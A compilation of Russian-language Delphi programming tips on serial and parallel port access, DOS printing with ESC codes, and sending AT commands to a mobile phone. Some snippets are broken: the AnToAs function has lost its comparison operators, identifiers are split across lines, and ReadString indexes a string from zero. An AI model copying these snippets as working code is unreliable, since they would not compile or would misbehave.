  dcb_OutxCtsFlow         = $00000004;
  dcb_OutxDsrFlow         = $00000008;
  dcb_DtrControlMask      = $00000030;
  dcb_DtrControlDisable   = $00000000;
  dcb_DtrControlEnable    = $00000010;
  dcb_DtrControlHandshake = $00000020;
  dcb_DsrSensitvity       = $00000040;
  dcb_TXContinueOnXoff    = $00000080;
  dcb_OutX                = $00000100;
  dcb_InX                 = $00000200;
  dcb_ErrorChar           = $00000400;
  dcb_NullStrip           = $00000800;
  dcb_RtsControlMask      = $00003000;
  dcb_RtsControlDisable   = $00000000;
  dcb_RtsControlEnable    = $00001000;
  dcb_RtsControlHandshake = $00002000;
  dcb_RtsControlToggle    = $00003000;
  dcb_AbortOnError        = $00004000;
  dcb_Reserveds           = $FFFF8000;

procedure TComportDriverThread.ApplyComPortSettings;
var
  //Device Control Block (= dcb)
  dcb: TDCB;
begin
  if not Connected then
    Exit;
  FillChar(dcb,sizeOf(dcb),0);
  dcb.DCBlength := sizeOf(dcb);

  dcb.Flags := dcb_Binary or dcb_RtsControlEnable;
  dcb.BaudRate := Win32BaudRates[FComPortBaudRate];

  case FComportHwHandshaking  of
    hhNONE  : ;
    hhRTSCTS:
      dcb.Flags := dcb.Flags or dcb_OutxCtsFlow or dcb_RtsControlHandshake;
  end;

  case FComportSwHandshaking of
    shNONE   : ;
    shXONXOFF:
      dcb.Flags := dcb.Flags or dcb_OutX or dcb_Inx;
  end;

  dcb.XonLim   := FComportInputBufferSize div 4;
  dcb.XoffLim  := 1;
  dcb.ByteSize := 5 + ord(FComportDataBits);
  dcb.Parity   := ord(FComportParity);
  dcb.StopBits := ord(FComportStopBits);
  dcb.XonChar  := #17;
  dcb.XoffChar := #19;
  SetCommState(FComportHandle,dcb);
  SetupComm(FComportHandle,FComPortInputBufferSize,FComPortOutputBufferSize);
end;

function TComportDriverThread.ReadString(var Str: string): Integer;
var
  BytesTrans, nRead: DWORD;
  Buffer           : String;
  i                : Integer;
  temp             : string;
begin
  BytesTrans := 0;
  Str := '';
  SetLength(Buffer,1);
  ReadFile(FComportHandle,PChar(Buffer)^, 1, nRead, nil);
  while nRead > 0 do
  begin
    temp := temp + PChar(Buffer);
    ReadFile(FComportHandle,PChar(Buffer)^, 1, nRead, nil);
  end;
  //Remove the end token.
  BytesTrans := Length(temp);
  SetLength(str,BytesTrans-2);
  for i:=0 to BytesTrans-2 do
  begin
    str[i] := temp[i];
  end;

  Result := BytesTrans;
end;

function TComportDriverThread.SendData(DataPtr: Pointer;
  DataSize: Integer): Boolean;
var
  nsent : DWORD;
begin
  Result := WriteFile(FComportHandle,DataPtr^,DataSize,nsent,nil);
  Result := Result and (nsent = DataSize);
end;

function TComportDriverThread.SendString(Input: String): Boolean;
begin
  if not Connected then
    if not Connect then
      raise Exception.CreateHelp('Could not connect to COM-port !',101);
  Result := SendData(PChar(Input),Length(Input));
  if not Result then
    raise Exception.CreateHelp('Could not send to COM-port !',102);
end;

procedure TComportDriverThread.TimerEvent;
var
  InQueue, OutQueue: Integer;
  Buffer : String;
  nRead : DWORD;

  procedure DataInBuffer(Handle: THandle; var aInQueue, aOutQueue: Integer);
  var
    ComStat : TComStat;
    e       : Cardinal;
  begin
    aInQueue  := 0;
    aOutQueue := 0;
    if ClearCommError(Handle,e,@ComStat) then
    begin
      aInQueue  := ComStat.cbInQue;
      aOutQueue := ComStat.cbOutQue;
    end;
  end;
begin
  if csDesigning in ComponentState then
    Exit;
  if not Connected then
    if not Connect then
      raise Exception.CreateHelp('TimerEvent: Could not connect to COM-port !',101);
  Application.ProcessMessages;
  if Connected then
  begin
    DataInBuffer(FComportHandle,InQueue,OutQueue);
    if InQueue > 0 then
    begin
      if (Assigned(FOnReceiveData) ) then
      begin
        FReceiving := True;
        FOnReceiveData(Self);
      end;
    end;
  end;
end;

procedure TComportDriverThread.SetComportBaudRate(Value: TComPortBaudRate);
begin
  FComportBaudRate := Value;
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.SetComportDataBits(Value: TComPortDataBits);
begin
  FComportDataBits := Value;
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.SetComportHwHandshaking(Value: TComportHwHandshaking);
begin
  FComportHwHandshaking := Value;
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.SetComportInputBufferSize(Value: Word);
begin
  FreeMem(FTempInputBuffer,FComportInputBufferSize);
  FComportInputBufferSize := Value;
  GetMem(FTempInputBuffer,FComportInputBufferSize);
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.SetComportNumber(Value: TComPortNumber);
begin
  if Connected then
    exit;
  FComportNumber := Value;
end;

procedure TComportDriverThread.SetComportOutputBufferSize(Value: Word);
begin
  FComportOutputBufferSize := Value;
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.SetComportParity(Value: TComPortParity);
begin
  FComportParity := Value;
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.SetComportPollingDelay(Value: Word);
begin
  FComportPollingDelay := Value;
end;

procedure TComportDriverThread.SetComportStopBits(Value: TComPortStopBits);
begin
  FComportStopBits := Value;
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.SetComportSwHandshaking(Value: TComPortSwHandshaking);
begin
  FComportSwHandshaking := Value;
  if Connected then
    ApplyComPortSettings;
end;

procedure TComportDriverThread.DoDataReceived;
begin
  if Assigned(FOnReceiveData) then FOnReceiveData(Self);
end;

procedure TComportDriverThread.SetComPortActive(Value: Boolean);
var
  DumpString : String;
begin
  FComPortActive := Value;
  if csDesigning in ComponentState then
    Exit;
  if FComPortActive then
  begin
    //Just dump the contents of the input buffer of the com-port.
    ReadString(DumpString);
    FTimer.Enabled := True;
  end
  else
    FTimer.Enabled := False;
  FTimer.SupRes;
end;

{ TTimerThread }

procedure TTimerThread.Execute;
begin
  Priority := tpNormal;
  repeat
    Sleep(500);
    if Assigned(FOnTimer) then Synchronize(FOnTimer);
  until Terminated;
end;

procedure TTimerThread.SupRes;
begin
  if not Suspended then
    Suspend;
  if FEnabled then
    Resume;
end;

end.

Взято из http://forum.sources.ru

procedure TCommPortDriver.SetActive(const Value: boolean);
begin
  FActive := Value;
end;

end.

Взято из http://forum.sources.ru


Печать Dos-файла в порт напрямую

При печати Dos-файла в порт напрямую можно это сделать.

Например, напечатать за 2 прохода:
ESC @ - инициализация принтера
ESC G - включение режима печати за 2 прохода
ESC H - выключение режима печати за 2 прохода
   Var FileOut : TextFile;
       filename : String [128];
   ....
   Filename:='PRN';
   AssignFile(Fileout,Filename);
   ...
   Write(FileOut,Chr(27)+'@');
   Str1:=AnToAs(chr(27)+'G'+'Double'+chr(27)+'H');
   Writeln(FileOut,Str1);
   ...
   {преобразование Ansi to Ascii}
   function AnToAs(s: String) : String;
   Var i,kod : Integer;
   begin
    Result:=s;
    for i:=1 to length(s) do
    begin
     kod:=Ord(s[i]);
     if  kod  13 then Result[i]:=' ';
     if ( kod>=192) and ( kod=239) then
        Result[i]:=Chr(kod-64);
     if ( kod>=240) and ( kod=255) then
        Result[i]:=Chr(kod-16);
     if kod=168 then  Result[i]:=Chr(240);
     if kod=184 then  Result[i]:=Chr(241);
    end;
   end;

Взято с сайта http://blackman.wp-club.net/


Как найти список параллельных портов?

function PortExists(const PortName: string): Boolean;
var
  hPort: HWND;
begin
  Result := False;
  hPort := CreateFile(PChar(PortName), {name}
    GENERIC_READ or GENERIC_WRITE, {access attributes}
    0, {no sharing}
    nil, {no security}
    OPEN_EXISTING, {creation action}
    FILE_ATTRIBUTE_NORMAL or
    FILE_FLAG_OVERLAPPED, {attributes}
    0); {no template}
  if hPort <> INVALID_HANDLE_VALUE then
  begin
    CloseHandle(hPort);
    Result := True;
  end;
end;

{Parallel Ports}
for i := 1 to 9 do
begin
  if PortExists('LPT' + IntToStr(i)) then
    List.Append('Ports: Printer Port (LPT' + IntTostr(i) + ')');
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Посылать и считывать данные с COM порта, а также менять параметры (биты данных, четность)

Ниже представлен класс для работы с COM-портом. Протестирован в Windows 95. Класс выдернут из контекста, так что не ручаюсь в компиляции с первого раза, однако все функции работы с COM очевидны.

unit Unit1;

interface

uses
  Windows;

type
  TComPort = class
  private
    hFile: THandle;
  public
    constructor Create;
    destructor Destroy; override;
    function InitCom(BaudRate, PortNo: Integer; Parity: Char;
      CommTimeOuts: TCommTimeouts): Boolean;
    procedure CloseCom;
    function ReceiveCom(var Buffer; Size: DWORD): Integer;
    function SendCom(var Buffer; Size: DWORD): Integer;
    function ClearInputCom: Boolean;
  end;

implementation

uses
  SysUtils;

constructor TComPort.Create;
begin
  inherited;
  CloseCom;
end;

destructor TComPort.Destroy;
begin
  CloseCom;
  inherited;
end;

function TComPort.InitCom(BaudRate, PortNo: Integer; Parity: Char;
  CommTimeOuts: TCommTimeouts): Boolean;
var
  FileName: string;
  DCB: TDCB;
  PortParam: string;
begin
  result := FALSE;
  FileName := 'Com' + IntToStr(PortNo); {имя файла}
  hFile := CreateFile(PChar(FileName),
    GENERIC_READ or GENERIC_WRITE, 0, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hFile = INVALID_HANDLE_VALUE then
    exit;

  //установка требуемых параметров
  GetCommState(hFile, DCB); //чтение текущих параметров порта
  PortParam := 'baud=' + IntToStr(BaudRate) + ' parity=' + Parity +
    ' data=8 stop=1 ' +
    'octs=off';
  if BuildCommDCB(PChar(PortParam), DCB) then
  begin
    result := SetCommState(hFile, DCB) and
      SetCommTimeouts(hFile, CommTimeOuts);
  end;
  if not result then
    CloseCom;
end;

procedure TComPort.CloseCom;
begin
  if hFile < > INVALID_HANDLE_VALUE then
    CloseHandle(hFile);
  hFile := INVALID_HANDLE_VALUE;
end;

function TComPort.ReceiveCom(var Buffer; Size: DWORD): Integer;
var
  Received: DWORD;
begin
  if hFile = INVALID_HANDLE_VALUE then
    raise Exception.Create('Не открыта запись в Com порт');
  if ReadFile(hFile, Buffer, Size, Received, nil) then
  begin
    Result := Received;
  end
  else
    raise Exception.Create('Ошибка приема данных: ' + IntToStr(GetLastError));
end;

function TComPort.SendCom(var Buffer; Size: DWORD): Integer;
var
  Sended: DWORD;
begin
  if hFile = INVALID_HANDLE_VALUE then
    raise Exception.Create('Не открыта запись в Com порт');
  if WriteFile(hFile, Buffer, Size, Sended, nil) then
  begin
    Result := Sended;
  end
  else
    raise Exception.Create('Ошибка передачи данных: ' + IntToStr(GetLastError));
end;

function TComPort.ClearInputCom: Boolean;
begin
  if hFile = INVALID_HANDLE_VALUE then
    raise Exception.Create('Не открыта запись в Com порт');
  Result := PurgeComm(hFile, PURGE_RXCLEAR);
end;

end.

Взято с http://delphiworld.narod.ru


Пример программирования com портов

unit TestRosh;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
  Panel1: TPanel;
  Label1: TLabel;
  PortCombo: TComboBox;
  Label2: TLabel;
  BaudCombo: TComboBox;
  Label3: TLabel;
  ByteSizeCombo: TComboBox;
  Label4: TLabel;
  ParityCombo: TComboBox;
  Label5: TLabel;
  StopBitsCombo: TComboBox;
  Label6: TLabel;
  Memo1: TMemo;
  Edit1: TEdit;
  Button1: TButton;
  Memo2: TMemo;
  Edit2: TEdit;
  Label7: TLabel;
  Button2: TButton;
  Label8: TLabel;
  Edit3: TEdit;
  procedure Button1Click(Sender: TObject);
  procedure Memo2Change(Sender: TObject);
  procedure Memo1Change(Sender: TObject);
  procedure FormDestroy(Sender: TObject);
  procedure Button2Click(Sender: TObject);
  procedure PortComboChange(Sender: TObject);
  procedure FormShow(Sender: TObject);
  procedure Memo1DblClick(Sender: TObject);
end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses
  Registry;

var
  hPort: THandle;

procedure TForm1.Memo1Change(Sender: TObject);
var
  i: Integer;
begin
  Edit1.Text := '';
  for i := 1 to Length(Memo1.Text) do
    Edit1.Text := Edit1.Text + Format('%x', [Ord(Memo1.Text[i])]) + ' '
end;

procedure TForm1.Memo2Change(Sender: TObject);
var
  i: Integer;
begin
  Edit2.Text := '';
  for i := 1 to Length(Memo2.Text) do
    Edit2.Text := Edit2.Text + Format('%x', [Ord(Memo2.Text[i])]) + ' '
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  S, D: array[0..127] of Char;
  actual_bytes: Integer;
  DCB: TDCB;
begin

  FillChar(S, 128, #0);
  FillChar(D, 128, #0);

  DCB.DCBlength := SizeOf(DCB);

  if not GetCommState(hPort, DCB) then
  begin
    ShowMessage('Can not get port state: ' + IntToStr(GetLastError));
    Exit;
  end;

  try
    DCB.BaudRate := StrToInt(BaudCombo.Text);
  except
    BaudCombo.Text := IntToStr(DCB.BaudRate);
  end;

  try
    DCB.ByteSize := StrToInt(ByteSizeCombo.Text);
  except
    ByteSizeCombo.Text := IntToStr(DCB.ByteSize);
  end;

  if ParityCombo.ItemIndex > -1 then
    DCB.Parity := ParityCombo.ItemIndex
  else
    ParityCombo.ItemIndex := DCB.Parity;

  if StopBitsCombo.ItemIndex > -1 then
    DCB.StopBits := StopBitsCombo.ItemIndex
  else
    StopBitsCombo.ItemIndex := DCB.StopBits;

  if not SetCommState(hPort, DCB) then
  begin
    ShowMessage('Can not set new port settings: ' + IntToStr(GetLastError));
    Exit;
  end;

  PurgeComm(hPort, PURGE_TXABORT or PURGE_RXABORT or PURGE_TXCLEAR or PURGE_RXCLEAR);

  StrPCopy(S, Memo1.Text);

  if not WriteFile(hPort, S, StrLen(S), actual_bytes, nil) then
  begin
    ShowMessage('Can not write to port: ' + IntToStr(GetLastError));
    Exit;
  end;

  if not ReadFile(hPort, D, StrToInt(Edit3.Text), actual_bytes, nil) then
    ShowMessage('Can not read from port: ' + IntToStr(GetLastError))
  else
    ShowMessage('Read ' + IntToStr(actual_bytes) + ' bytes');
  Memo2.Text := D;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  with TRegistry.Create do
  begin
    OpenKey('Shkila', True);
    WriteString('Port', PortCombo.Text);
    WriteString('Baud Rate', BaudCombo.Text);
    WriteString('Byte Size', ByteSizeCombo.Text);
    WriteString('Parity', IntToStr(ParityCombo.ItemIndex));
    WriteString('Stop Bits', IntToStr(StopBitsCombo.ItemIndex));
    Destroy;
  end;
  if not CloseHandle(hPort) then
  begin
    ShowMessage('Can not close port: ' + IntToStr(GetLastError));
    Exit;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  hPort := CreateFile(PChar(PortCombo.Text),
  GENERIC_READ + GENERIC_WRITE,
  0,
  nil,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  0);

  if hPort = INVALID_HANDLE_VALUE then
    ShowMessage('Can not open ' + PortCombo.Text + ': ' + IntToStr(GetLastError))
  else
    Button2.Hide;
end;

procedure TForm1.PortComboChange(Sender: TObject);
begin
  FormDestroy(Sender);
  Button2.Show;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  with TRegistry.Create do
  begin
    OpenKey('Shkila', True);
    PortCombo.Text := ReadString('Port');
    BaudCombo.Text := ReadString('Baud Rate');
    ByteSizeCombo.Text := ReadString('Byte Size');
    ParityCombo.ItemIndex := StrToInt(ReadString('Parity'));
    StopBitsCombo.ItemIndex := StrToInt(ReadString('Stop Bits'));
    Destroy;
  end;
end;

procedure TForm1.Memo1DblClick(Sender: TObject);
begin
  Memo1.Lines.Clear;
  Memo2.Lines.Clear;
  Edit1.Text := '';
  Edit2.Text := '';
end;

end.

Взято с http://delphiworld.narod.ru


Работа с последовательными портами

//{$DEFINE COMM_UNIT}

//Простой пример работы с последовательными портами
//Код содержит интуитивно понятные комментарии и строки на шведском языке,
//нецелесообразные для перевода.
//Compiler maakt Simple_Comm.Dll of Simple_Com.Dcu afhankelijk van 1e Regel
(COMM_UNIT)

{$IFNDEF COMM_UNIT}
library Simple_Comm;
{$ELSE}
unit Simple_Comm;
interface
{$ENDIF}

uses Windows, Messages;

const
  M_BaudRate = 1;
const
  M_ByteSize = 2;
const
  M_Parity = 4;
const
  M_Stopbits = 8;

{$IFNDEF COMM_UNIT}
{$R Script2.Res} //versie informatie
{$ENDIF}

{$IFDEF COMM_UNIT}
function Simple_Comm_Info: PChar; StdCall;
function
  Simple_Comm_Open(Port: PChar; BaudRate: DWORD; ByteSize, Parity, StopBits:
    Byte; Mas
  k: Integer; WndHandle: HWND; WndCommand: UINT; var Id: Integer): Integer;
    StdCall;
function Simple_Comm_Close(Id: Integer): Integer; StdCall;
function
  Simple_Comm_Write(Id: Integer; Buffer: PChar; Count: DWORD): Integer; StdCall;
function Simple_Comm_PortCount: DWORD; StdCall;

const
  M_None = 0;
const
  M_All = 15;

implementation
{$ENDIF}

const
  InfoString = 'Simple_Comm.Dll (c) by E.L. Lagerburg 1997';
const
  MaxPorts = 5;

const
  bDoRun: array[0..MaxPorts - 1] of boolean
  = (False, False, False, False, False);
const
  hCommPort: array[0..MaxPorts - 1] of Integer = (0, 0, 0, 0, 0);
const
  hThread: array[0..MaxPorts - 1] of Integer = (0, 0, 0, 0, 0);
const
  dwThread: array[0..MaxPorts - 1] of Integer = (0, 0, 0, 0, 0);
const
  hWndHandle: array[0..MaxPorts - 1] of Hwnd = (0, 0, 0, 0, 0);
const
  hWndCommand: array[0..MaxPorts - 1] of UINT = (0, 0, 0, 0, 0);
const
  PortCount: Integer = 0;

function Simple_Comm_Info: PChar; stdcall;
begin

  Result := InfoString;
end;

//Thread functie voor lezen compoort

function Simple_Comm_Read(Param: Pointer): Longint; stdcall;
var
  Count: Integer;

  id: Integer;
  ReadBuffer: array[0..127] of byte;
begin

  Id := Integer(Param);
  while bDoRun[id] do
  begin
    ReadFile(hCommPort[id], ReadBuffer, 1, Count, nil);
    if (Count > 0) then
    begin
      if ((hWndHandle[id] <> 0) and
        (hWndCommand[id] > WM_USER)) then

        SendMessage(hWndHandle[id], hWndCommand[id], Count,
          LPARAM(@ReadBuffer));

    end;
  end;
  Result := 0;
end;

//Export functie voor sluiten compoort

function Simple_Comm_Close(Id: Integer): Integer; stdcall;
begin

  if (ID < 0) or (id > MaxPorts - 1) or (not bDoRun[Id]) then
  begin
    Result := ERROR_INVALID_FUNCTION;
    Exit;
  end;
  bDoRun[Id] := False;
  Dec(PortCount);
  FlushFileBuffers(hCommPort[Id]);
  if not
    PurgeComm(hCommPort[Id], PURGE_TXABORT + PURGE_RXABORT + PURGE_TXCLEAR +
      PURGE_RXCL
    EAR) then

  begin
    Result := GetLastError;
    Exit;
  end;
  if WaitForSingleObject(hThread[Id], 10000) = WAIT_TIMEOUT then
    if not TerminateThread(hThread[Id], 1) then
    begin
      Result := GetLastError;
      Exit;
    end;

  CloseHandle(hThread[Id]);
  hWndHandle[Id] := 0;
  hWndCommand[Id] := 0;
  if not CloseHandle(hCommPort[Id]) then
  begin
    Result := GetLastError;
    Exit;
  end;
  hCommPort[Id] := 0;
  Result := NO_ERROR;
end;

procedure Simple_Comm_CloseAll; stdcall;
var
  Teller: Integer;
begin

  for Teller := 0 to MaxPorts - 1 do
  begin
    if bDoRun[Teller] then
      Simple_Comm_Close(Teller);
  end;
end;

function GetFirstFreeId: Integer; stdcall;
var
  Teller: Integer;
begin

  for Teller := 0 to MaxPorts - 1 do
  begin
    if not bDoRun[Teller] then
    begin
      Result := Teller;
      Exit;
    end;
  end;
  Result := -1;
end;

//Export functie voor openen compoort

function
  Simple_Comm_Open(Port: PChar; BaudRate: DWORD; ByteSize, Parity, StopBits:
    Byte; Mas
  k: Integer; WndHandle: HWND; WndCommand: UINT; var Id: Integer): Integer;
    stdcall;

var
  PrevId: Integer;
  ctmoCommPort: TCOMMTIMEOUTS; //Lees specificaties voor de compoort
  dcbCommPort: TDCB;
begin

  if (PortCount >= MaxPorts) or (PortCount < 0) then
  begin
    result := error_invalid_function;
    exit;
  end;
  result := 0;
  previd := id;
  id := getfirstfreeid;
  if id = -1 then
  begin
    id := previd;
    result := error_invalid_function;
    exit;
  end;
  hcommport[id] := createfile(port, generic_read or
    generic_write, 0, nil, open_existing, file_attribute_normal, 0);

  if hcommport[id] = invalid_handle_value then
  begin
    bdorun[id] := false;
    id := previd;
    result := getlasterror;
    exit;
  end;
  //lees specificaties voor het comm bestand
  ctmocommport.readintervaltimeout := maxdword;
  ctmocommport.readtotaltimeoutmultiplier := maxdword;
  ctmocommport.readtotaltimeoutconstant := maxdword;
  ctmocommport.writetotaltimeoutmultiplier := 0;
  ctmocommport.writetotaltimeoutconstant := 0;
  //instellen specificaties voor het comm bestand
  if not setcommtimeouts(hcommport[id], ctmocommport) then
  begin
    bdorun[id] := false;
    closehandle(hcommport[id]);
    id := previd;
    result := getlasterror;
    exit;
  end;
  //instellen communicatie
  dcbcommport.dcblength := sizeof(tdcb);
  if not getcommstate(hcommport[id], dcbcommport) then
  begin
    bdorun[id] := false;
    closehandle(hcommport[id]);
    id := previd;
    result := getlasterror;
    exit;
  end;
  if (mask and m_baudrate <> 0) then
    dcbCommPort.BaudRate := BaudRate;
  if (Mask and M_ByteSize <> 0) then
    dcbCommPort.ByteSize := ByteSize;
  if (Mask and M_Parity <> 0) then
    dcbCommPort.Parity := Parity;
  if (Mask and M_Stopbits <> 0) then
    dcbCommPort.StopBits := StopBits;
  if not SetCommState(hCommPort[Id], dcbCommPort) then
  begin
    bDoRun[Id] := FALSE;
    CloseHandle(hCommPort[Id]);
    Id := PrevId;
    Result := GetLastError;
    Exit;
  end;
  //Thread voor lezen compoort
  bDoRun[Id] := TRUE;

  hThread[Id] := CreateThread(nil, 0, @Simple_Comm_Read, Pointer(Id), 0,
    dwThread[Id]
    );

  if hThread[Id] = 0 then
  begin
    bDoRun[Id] := FALSE;
    CloseHandle(hCommPort[Id]);
    Id := PrevId;
    Result := GetLastError;
    Exit;
  end
  else
  begin
    SetThreadPriority(hThread[Id], THREAD_PRIORITY_HIGHEST);
    hWndHandle[Id] := WndHandle;
    hWndCommand[Id] := WndCommand;
    Inc(PortCount);
    Result := NO_ERROR;
  end;
end;

//Export functie voor schrijven naar compoort;

function
  Simple_Comm_Write(Id: Integer; Buffer: PChar; Count: DWORD): Integer; stdcall;
var
  Written: DWORD;
begin

  if (Id < 0) or (id > Maxports - 1) or (not bDoRun[Id]) then
  begin
    Result := ERROR_INVALID_FUNCTION;
    Exit;
  end;
  if not WriteFile(hCommPort[Id], Buffer, Count, Written, nil) then
  begin
    Result := GetLastError();
    Exit;
  end;
  if (Count <> Written) then
    Result := ERROR_WRITE_FAULT
  else
    Result := NO_ERROR;
end;

//Aantal geopende poorten voor aanroepende applicatie

function Simple_Comm_PortCount: DWORD; stdcall;
begin

  Result := PortCount;
end;

{$IFNDEF COMM_UNIT}
exports

  Simple_Comm_Info Index 1,
  Simple_Comm_Open Index 2,
  Simple_Comm_Close Index 3,
  Simple_Comm_Write Index 4,
  Simple_Comm_PortCount index 5;

procedure DLLMain(dwReason: DWORD);
begin

  if dwReason = DLL_PROCESS_DETACH then
    Simple_Comm_CloseAll;
end;

begin

  DLLProc := @DLLMain;
  DLLMain(DLL_PROCESS_ATTACH); //geen nut in dit geval
end.

{$ELSE}
initialization
finalization

  Simple_Comm_CloseAll;
end.
{$ENDIF}

Другое решение: создание модуля I / O(ввода / вывода)под Windows 95 / NT.Вот он:
  )

(с TDCB в SetCommStatus вы можете управлять DTR и т.д.)
(Примечание: XonLim и XoffLim не должны быть больше 600, иначе под NT это
  работает неправильно)

unit My_IO;

interface

function OpenComm(InQueue, OutQueue, Baud: LongInt): Boolean;
function SetCommTiming: Boolean;
function SetCommBuffer(InQueue, OutQueue: LongInt): Boolean;
function SetCommStatus(Baud: Integer): Boolean;
function SendCommStr(S: string): Integer;
function ReadCommStr(var S: string): Integer;
procedure CloseComm;

var

  ComPort: Word;

implementation

uses Windows, SysUtils;

const

  CPort: array[1..4] of string = ('COM1', 'COM2', 'COM3', 'COM4');

var

  Com: THandle = 0;

function OpenComm(InQueue, OutQueue, Baud: LongInt): Boolean;
begin

  if Com > 0 then
    CloseComm;
  Com := CreateFile(PChar(CPort[ComPort]),
    GENERIC_READ or GENERIC_WRITE,
    0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  Result := (Com > 0) and SetCommTiming and
    SetCommBuffer(InQueue, OutQueue) and
    SetCommStatus(Baud);
end;

function SetCommTiming: Boolean;
var

  Timeouts: TCommTimeOuts;

begin

  with TimeOuts do
  begin
    ReadIntervalTimeout := 1;
    ReadTotalTimeoutMultiplier := 0;
    ReadTotalTimeoutConstant := 1;
    WriteTotalTimeoutMultiplier := 2;
    WriteTotalTimeoutConstant := 2;
  end;
  Result := SetCommTimeouts(Com, Timeouts);
end;

function SetCommBuffer(InQueue, OutQueue: LongInt): Boolean;
begin

  Result := SetupComm(Com, InQueue, OutQueue);
end;

function SetCommStatus(Baud: Integer): Boolean;
var

  DCB: TDCB;

begin

  with DCB do
  begin
    DCBlength := SizeOf(Tdcb);
    BaudRate := Baud;
    Flags := 12305;
    wReserved := 0;
    XonLim := 600;
    XoffLim := 150;
    ByteSize := 8;
    Parity := 0;
    StopBits := 0;
    XonChar := #17;
    XoffChar := #19;
    ErrorChar := #0;
    EofChar := #0;
    EvtChar := #0;
    wReserved1 := 65;
  end;
  Result := SetCommState(Com, DCB);
end;

function SendCommStr(S: string): Integer;
var

  TempArray: array[1..255] of Byte;
  Count, TX_Count: Integer;

begin

  for Count := 1 to Length(S) do
    TempArray[Count] := Ord(S[Count]);
  WriteFile(Com, TempArray, Length(S), TX_Count, nil);
  Result := TX_Count;
end;

function ReadCommStr(var S: string): Integer;
var

  TempArray: array[1..255] of Byte;
  Count, RX_Count: Integer;

begin

  S := '';
  ReadFile(Com, TempArray, 255, RX_Count, nil);
  for Count := 1 to RX_Count do
    S := S + Chr(TempArray[Count]);
  Result := RX_Count;
end;

procedure CloseComm;
begin

  CloseHandle(Com);
  Com := -1;
end;

end.

Взято с http://delphiworld.narod.ru


Работа с сотовыми телефонами

Взаимодействие с мобильными телефонами
Вы, наверное, не раз видели или даже пользовались программами, которые отображают любую информацию о вашем телефоне. Сейчас вы узнаете, как самим сделать такую программу!

Для начала положим на форму Memo, CheckBox "Соединиться», кнопку «Послать команду», Edit.

А) Подключение

Итак, в «Public declarations» объявляем 2 функции и 2 процедуры, потом объявляем 4 глобальные переменные:

…
public
{ Public declarations }

function OpenCOMPort: Boolean;
  function SetupCOMPort: Boolean; //для настройки порта
    procedure Connect;
      procedure Disconnect;
        …
        var
        Form1: TForm1;
        ComFile: THandle; //Хэндл создаваемого нами файла
        ComString: string; //(COM1, COM2 или COM3)
        ComSpeed: Integer; //Скорость взаимодействия с COM-портом
        Status: Boolean; //подключен или не подключен (чтобы в дальнейшем проверять статус)

Жмём Ctrl+C и записываем дальше:

procedure TForm1.Connect;
begin
  ComString := 'COM2';
  ComSpeed := 19200;
  if OpenCOMPort = true then //Открываем порт…
    if SetupCOMPort = true then //…и конфигурируем его
      Memo1.Lines.Add('Подключились...');
  Sleep(1500); //засыпаем на полторы секунды чтобы дать время на соединение
end;

procedure TForm1.Disconnect;
begin
  CloseHandle(ComFile);
  Memo1.Lines.Add('Отключились.');
end;

function TForm.OpenCOMPort: Boolean;
var DeviceName: array[0..80] of Char;
  Device: string;
begin
  Device := ComString;
  StrPCopy(DeviceName, Device);
  ComFile := CreateFile(DeviceName,
    GENERIC_READ or GENERIC_WRITE,
    0,
    nil,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    0);
  if ComFile = INVALID_HANDLE_VALUE then
    begin
      Result := False;
      Status := Result;
    end
  else
    begin
      Result := True;
      Status := Result;
    end;

end;

function TForm1.SetupCOMPort: Boolean;
const RxBufferSize = 256;
  TxBufferSize = 256;
var DCB: TDCB;
  Config: string;
  CommTimeouts: TCommTimeouts;
begin
  Result := True;
  if not SetupComm(ComFile, RxBufferSize, TxBufferSize) then
    Result := False;
  if not GetCommState(ComFile, DCB) then
    Result := False;

  Config := 'baud=' + IntToStr(ComSpeed) + ' parity=n data=8 stop=1'; //Устанавливаем скорость
  if not BuildCommDCB(@Config[1], DCB) then
    Result := False;
  if not SetCommState(ComFile, DCB) then
    Result := False;

  with CommTimeouts do
    begin
      ReadIntervalTimeout := 0;
      ReadTotalTimeoutMultiplier := 0;
      ReadTotalTimeoutConstant := 1000;
      WriteTotalTimeoutMultiplier := 0;
      WriteTotalTimeoutConstant := 1000;
    end;
  if not SetCommTimeouts(ComFile, CommTimeouts) then
    Result := False;
end;

Теперь два раза щёлкаем по CheckBox и записываем код:

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  if CheckBox1.Checked then
    Connect
  else
    Disconnect;
end;

В событии формы OnDestroy записываем:

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if Status = true then //При выходе из программы отключаемся
    Disconnect;
end;

Б) Шлём команды и принимаем ответы

Щёлкаем два раза по кнопке «Послать команду» и записываем код:

procedure TForm1.Button1Click(Sender: TObject);
var BytesWritten: DWORD;
  s: string;
  d: array[1..1500] of Char;
  BytesRead: DWORD;
  i: Integer;
  Result: string;
begin
  s := Edit1.Text; //Берём команды из Edit1…
  s := s + #13 + #10;
  WriteFile(ComFile, s[1], Length(s), BytesWritten, nil); //…и посылаем их телефону
  Result := '';
  if not ReadFile(ComFile, d, SizeOf(d), BytesRead, nil) then
    begin
      MessageDlg('Ошибка чтения!', mtError, [mbOK], 0);
        exit;
    end;

  s := '';
  for i := 1 to BytesRead do //Считываем ответ от телефона
    s := s + d[I];
  Result := s;
  Memo1.Lines.Add(Result); //Выводим ответ от телефона в Memo
end;

